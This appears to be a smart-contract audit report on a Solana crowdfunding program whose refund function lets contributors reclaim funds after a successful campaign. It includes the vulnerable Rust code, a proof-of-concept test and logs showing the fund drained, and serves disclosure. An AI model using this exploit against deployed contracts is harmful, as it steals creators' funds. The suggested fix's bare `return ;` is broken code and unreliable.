Summary
There is no check in the refund function for when deadline is complete and
campaign goal is reached, this allows contributors to get refund after a successful
campaign.
Vulnerability Details
In the fuction pub fn refund
pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
ctx.accounts.contribution.amount = 0;
Ok(())
}
there is no check if there is a successful campaign so that contributors can
not claim refunds after goal is reached.
Impact
Contributors can claim refund after successful campaign and creator loses fundraising funds.
Tools Used
Manual code review.
Recommendations
Add this check after checking for deadline in the refund function
if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal {
return ;
}
POC
Add this to the function pub fn contribution
after system::transfer
.
We need the contribution.amount
to be updated to test this.
contribution.amount = contribution.amount.checked_add(amount).ok_or(ErrorCode::CalculationOverflow)?;
Increase the const contribution
in ./tests/refund.ts to be more than the const goal
.
const goal = new anchor.BN(1000000000);
const contribution = new anchor.BN(2000000000);
Then add this to ./tests/refund.ts
it("Refunds contribution after goal completed", async () => {
console.log("fundBalanceBefore", await provider.connection.getBalance(fundPDA));
console.log("goal", goal.toNumber());
await new Promise(resolve => setTimeout(resolve, 15000));
await program.methods
.refund()
.accounts({
fund: fundPDA,
contribution: contributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const contributorBalanceAfter = await provider.connection.getBalance(provider.wallet.publicKey);
const contributionAccount = await program.account.contribution.fetch(contributionPDA);
console.log("contributorBalanceAfter", contributorBalanceAfter);
console.log("contributionAccount", contributionAccount);
console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA));
});
this produces this log:
fundBalanceBefore 2037590960
goal 1000000000
contributorBalanceAfter 499999999960941400
contributionAccount {
contributor: PublicKey [PublicKey(JDeAGnJJV61nwWEddJ5cnGCsjH7aVLyNsFngUDKwm75t)] {
_bn: <BN: ffd3aa0c31acc070371d6f3af1a8c65ecbb945ddce7387820c07614a44132cf3>
},
fund: PublicKey [PublicKey(292QJH5wkBVj8AZJnRESjwamqetSVwQ127C8DdghWN16)] {
_bn: <BN: 10e9eb15338cd708935700203ca2361332a08f09176d71fc094ce61a8a3d8461>
},
amount: <BN: 0>
}
fundBalanceAfter 37590960
fundBalanceBefore
is more than fundBalanceAfter
. Even though the goal of the campaign has been met and deadline has passed, the contributor
was still able to claim a refund.